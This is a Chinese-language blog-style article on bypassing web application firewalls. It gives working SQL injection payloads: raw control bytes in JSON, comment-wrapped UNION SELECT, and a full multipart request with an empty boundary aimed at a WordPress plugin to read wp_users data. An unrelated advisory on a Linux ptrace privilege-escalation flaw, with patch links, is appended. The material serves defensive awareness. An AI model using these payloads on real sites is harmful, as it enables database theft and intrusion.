{"request":{"Count":10,"Offset":0,"ItemName":"Phone"}}

我们将Phone '和Phone ' + '值放入ItemName参数中,发现服务器为这两个请求返回了不同的响应。在第一种情况下,响应是空的;而在第二种情况下,它包含关于其他商品的数据,其名称中包含Phone一词,就好像参数ItemName的值是Phone一样。这种行为在黑客和测试者中是显而易见的攻击点,这意味着该应用程序在过滤用户输入方面存在问题,进而导致SQL注入等问题。

让我们看看为什么在SQL注入示例中会发生这种情况,如果在web应用程序中发现这种行为,那么SQL请求的数据很可能与请求本身相关。在第一种情况下,使用Phone '参数,我们将得到以下SQL查询:

SELECT item FROM items WHERE item_name=’Phone’’

显然,由于语法错误,它不会执行,也不会返回任何结果。第二个带有Phone ' + '参数的请求则如下所示:

SELECT item FROM items WHERE item_name=’Phone’+’’

由于它的语法是正确的,因此它将通过名称Phone选择商品。在测试受WAF保护的Web应用程序时,这种检测漏洞的方法具有巨大的优势。单引号符号在大多数现代WAF中都不被认为是参数中的一个异常元素,因此攻击者用单引号符号传递攻击请求。

此时虽然我们已经发现了漏洞,但是如何绕过WAF并利用漏洞呢?通过一些基本的绕过测试,我们发现了WAF中的一个问题。事实证明,这个WAF很容易受到添加到JSON参数中的特殊字符的攻击。事实上,如果我们将JSON符号0x0A、0x0D (\r\n或carrige reutrn和new line)以原始格式添加到任何文本字段中,而不进行任何编码,WAF就会将其传递给它,web应用程序就会认为它是正确的并处理它。此时,很可能是JSON解析器出了问题,它不是为特殊符号而设计的,而是在这些符号出现的地方才解析JSON。因此,WAF分析器不会得到完整的请求,所以我们可以在特殊字符之后插入任何攻击向量。除了换行符之外,其他字符(例如NULL-byte)也可以工作。因此,我们可以编写以下请求,当WAF试图检查这个请求时,它将关闭该请求(换行符和回车符被替换为它们的文本表示形式):

{"request":{"kill-waf":"die0x0A0x0D", "Count":10,"Offset":0,"ItemName":["'+(SELECT 'Phone'+CHAR(ASCII(substring(@@version,1,1))-24))+'"]}}

可以看出,0x0A和0x0D是一个原始字节。

因此,我们可以轻松快速地测试任何漏洞的所有参数,其中一些参数可以在其他参数中找到。绕过WAF并利用这个注入,则允许我们完全攻击web应用程序的所有用户。

另外,我们在Nemesida WAF中也发现了同样的问题。唯一的区别是,该请求不是JSON编码的,但它是带有参数的常见POST请求,并且将一个参数作为一个数字关联到SQL查询中。如果在url编码的请求中放置了一些符号,例如%03%04,那么WAF将阻止请求,但是如果在没有url编码的情况下以原始形式放置符号,那么WAF将忽略该请求。值得注意的是,正常的sql表达式和前面的WAF中一样,都是用来请求的。sql表达式是简单的“UNION SELECT”,没有进行任何额外的混淆,这意味着WAF无法正确解析请求并进一步传递分析。但是有一个问题:如何使sql查询语法变得正确?因为在SQL-query中使用%03%04这样的特殊字符是不正确的。所以,我们只需要使用comments /**/。因此,结果请求如下:

/*0x03 0x04*/1 UNION SELECT version(), user() --

可以看出,0x03和0x04是一个原始字节。

此外,在Nemesida WAF也发现了另一个问题,它与使用multipart / form-data处理POST请求的错误有关。如下所述,在具有multipart / form-data的HTTP请求中,参数边界负责将请求对象中的不同参数隔离。根据RFC的规则,必须在每个新POST参数前面放置一个前面指定的带有前缀“——”的边界,以便服务器能够区分请求的不同参数。

所以,问题是当边界参数为空时,服务器和WAF以不同的方式处理这种情况。基于RFC的规则,在这种情况下,参数之间的边界将是一个字符序列“——”。但是,WAF使用的解析器并没有考虑到这一功能,这就是WAF再次传递请求的原因,因为POST请求参数的数据根本没有进入分析模块。这样,在这种情况下,服务器的解析中就不会发现任何问题。以下是这次攻击的一个请求示例:

POST /wp-content/plugins/answer-my-question/modal.php HTTP/1.1
Host: example.com
Content-Type: multipart/form-data; boundary=
Content-Length: 209

--
Content-Disposition: form-data; name="id"

1 UNION SELECT 1,2,3,CONVERT(version() USING utf8) AS name,CONVERT(user() USING utf8) AS name,6,7,8,9,10,11,12 FROM wp_users WHERE id=1
----

正如我们苏商所分析的,WAF可能是现代的和智能的,但有时可以通过添加一个特殊的字符来绕过它们。当今,我们无法预测所有服务器在开发阶段的所有可能输入数据类型,而机器学习正是为了实现这一点而实现的,它可以被当做特殊字符的解析器来使用。

总结

那么,我们应该完全依赖WAF吗?答案是否定的。

在我们的实际测试中,我们发现了一个WAF绕过,它允许我们利用一些漏洞。事实证明,,在受到WAF保护之前,开发人员已经对其进行了安全检查,并且发现了相同的漏洞。他们没有修复它们,而是决定买一台配备了机器学习功能的现代WAF。遗憾的是,这样做是不对的,WAF的供应商应该首先修复漏洞。同样值得注意的是,机器学习仍然是一个很虚的东西,看起来更像是一种营销手段,而不是真正的防御手段。

一般来说,WAF是一种非常现代的安全解决方案,它不会影响你的web应用程序。虽然在今天,它只能阻止漏洞搜索和漏洞利用的过程,但它不能完全保护它们。就目前情况而言,WAF在相当长一段时间内,还属于比较新潮的技术。web应用程序中的漏洞只能通过更正与其相关的代码来修复,这是唯一万无一失的解决方案。

2019年07月20日,Linux正式修复了一个本地内核提权漏洞。通过此漏洞,攻击者可将普通权限用户提升为Root权限。

漏洞描述

当调用PTRACE_TRACEME时,ptrace_link函数将获得对父进程凭据的RCU引用,然后将该指针指向get_cred函数。但是,对象struct cred的生存周期规则不允许无条件地将RCU引用转换为稳定引用。

PTRACE_TRACEME获取父进程的凭证,使其能够像父进程一样执行父进程能够执行的各种操作。如果恶意低权限子进程使用PTRACE_TRACEME并且该子进程的父进程具有高权限,该子进程可获取其父进程的控制权并且使用其父进程的权限调用execve函数创建一个新的高权限进程。攻击者最终控制具有高权限的两个进程ptrace关系,可以被用来ptrace
suid二进制文件并获得root权限。

漏洞复现

网上已有针对该漏洞的高可利用性的exploit,利用效果如下图:

图片1.png

影响范围

目前受影响的Linux内核版本:

Linux Kernel < 5.1.17

修复建议

1. 补丁修复链接:

https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=6994eefb0053799d2e07cd140df6c2ea106c41ee

2. 升级Linux内核至最新版。

参考链接

https://github.com/torvalds/linux/commit/6994eefb0053799d2e07cd140df6c2ea106c41ee